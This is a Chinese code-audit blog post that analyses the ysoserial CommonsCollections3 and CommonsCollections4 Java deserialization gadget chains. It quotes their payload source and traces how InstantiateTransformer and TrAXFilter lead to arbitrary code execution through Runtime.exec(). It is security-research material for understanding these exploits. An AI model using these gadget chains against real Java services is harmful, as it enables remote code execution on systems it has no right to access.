点击蓝字 关注我们
日期:2023-05-16 作者:ICDAT 介绍:这篇文章主要是对 ysoserial
中CC3和CC4
的反序列化进行分析。
0x00、前言
前面我们分析了CC1
和CC2
的反序列化利用链,还分析了TemplatesImpl
在ysoserial
中CC2
中利用分析。结合这些,我们可以以此为基础进行CC3
和CC4
反序列化的分析。
0x01、CC3 payload分析
首先说明,CC3
链在JDK8u71
以上版本无法使用。
查看一下ysoserial
中CC3
的代码,如下:
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
"rawtypes", "unchecked", "restriction"}) ({
"isApplicableJavaVersion") ( precondition =
"commons-collections:commons-collections:3.1"}) ({
({ Authors.FROHOFF })
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
同CC1
的代码进行比较,就会发现都利用了AnnotationInvocationHandler
类动态代理的方法来实现LazyMap.get()->ChainedTransformer.transform()-> ConstantTransformer.transform()
方法的执行。
即其一开始的调用链同CC1
一样。
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
继续查看代码,发现其调用了TemplatesImpl
类来执行Runtime.exec()
方法。这里跟CC2
的利用链是相同的。
但是我们没有发现存在InvokerTransformer
类的调用,而是提到了InstantiateTransformer
类。
0x02、InstantiateTransformer
查看InstantiateTransformer
类,其实现了Transformer
、Serializable
接口。
查看其构造方法,一个是Class
对象,一个是Object
对象。
回顾一下之前对ChainedTransformer.transform()
的分析,Transformer
数组里的对象连接着调用transform()
方法。
那么我们查看一下InstantiateTransformer
类的transform
方法。
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}
}
首先是判断input
是否是类对象,如果不是即抛出异常,如果是,则通过反射获取input
对象的公共构造方法中的this.iParamTypes
类为形参的公共构造方法,然后传入this.iArgs
作为形参来实例化对象。
0x03、TrAXFilter
再查看payload
,发现其将TrAXFilter.class
传递给了ConstantTransformer
类。我们先分析一下调用逻辑,再去看为什么传入的是TrAXFilter.class
。
根据传入的Transformer
数组的值以及ChainedTransformer
的调用,其最终调用逻辑如下。
new InstantiateTransformer(new Class[]{ Templates.class }new Object[] { templatesImpl } )
.transform
(
new ConstantTransformer(TrAXFilter.class)
.transform()
)
再回顾一下ConstantTransformer.transform()
方法,其返回构造对象时传入的形参。
那么调用逻辑可以简化成如下:
new InstantiateTransformer(new Class[]{ Templates.class }new Object[] { templatesImpl } )
.transform
(TrAXFilter.class)
即new
了一个TrAXFilter
对象,传入的形参是templatesImpl
。
查看一下TrAXFilter
类,其存在公共构造方法。
其构造方法,传入templatesImpl
,并调用了newTransformer()
方法。
回顾一下在分析TemplatesImpl
在反序列化漏洞中的利用的时候,精心构造的TemplatesImpl
类对象执行newTransformer()
方法来调用defineTransletClasses()
方法进而调用defindClass()
来实现执行任意代码。
至此,CC3
的调用链就比较清晰了,其在CC1
的基础上,通过InstantiateTransformer
类替换InvokerTransformer
类,再结合CC2
的TemplatesImpl
实现任意代码的执行。
CC3
完整的利用链如下:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
Method.invoke()
Runtime.exec()
0x04、CC4 payload分析
查看一下ysoserial
中的CC4
的payload
。如下:
/*
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
"rawtypes", "unchecked", "restriction" }) ({
"org.apache.commons:commons-collections4:4.0"}) ({
({ Authors.FROHOFF })
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
查看后半部分代码,发现通过ChainedTransformer
对象来作为形参初始化PriorityQueue
,从而触发代码执行,这段利用同CC2
的利用链一致。
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
ConstantTransformer.transform()
查看前段代码,发现其逻辑如下:
1.new一个ConstantTransformer类对象,形参数为String类对象
2.new一个InstantiateTransformer类对象,形参为String类对象和一个字符串对象
3.通过ChainedTransformer连接调用transform()方法,即如下:
new InstantiateTransformer(new Class[]{ String.class }new Object[] {"foo" } )
.transform
(
new ConstantTransformer(String.Class)
.transform()
)
可简化为String类new一个形参为foo的对象,这里是为了防止PriorityQueue.add()方法触发任意代码执行。
查看最后部分代码,通过反射修改ConstantTransformer
类iConstant
属性,设置为TrAXFilter.class
。
反射修改InstantiateTransformer
类paramTypes
为Templates.class
。
反射修改InstantiateTransformer
类iArgs
为templates
。
修改完之后,类似CC3
通过new
一个TrAXFilter
对象,形参为templates
,从而触发任意代码执行。
CC4
的逻辑大致是CC2
基础上,把InvokerTransformer
方法替代为InstantiateTransformer
方法。
其完整利用链如下:
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
ConstantTransformer.transform()
InstantiateTransformer.transform()
Method.invoke()
Runtime.exec()
0x05、结语
结合CC1
和CC2
的利用分析,我们可以很简单地去对CC3
和CC4
进行利用链的分析。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CC3 和 CC4 反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论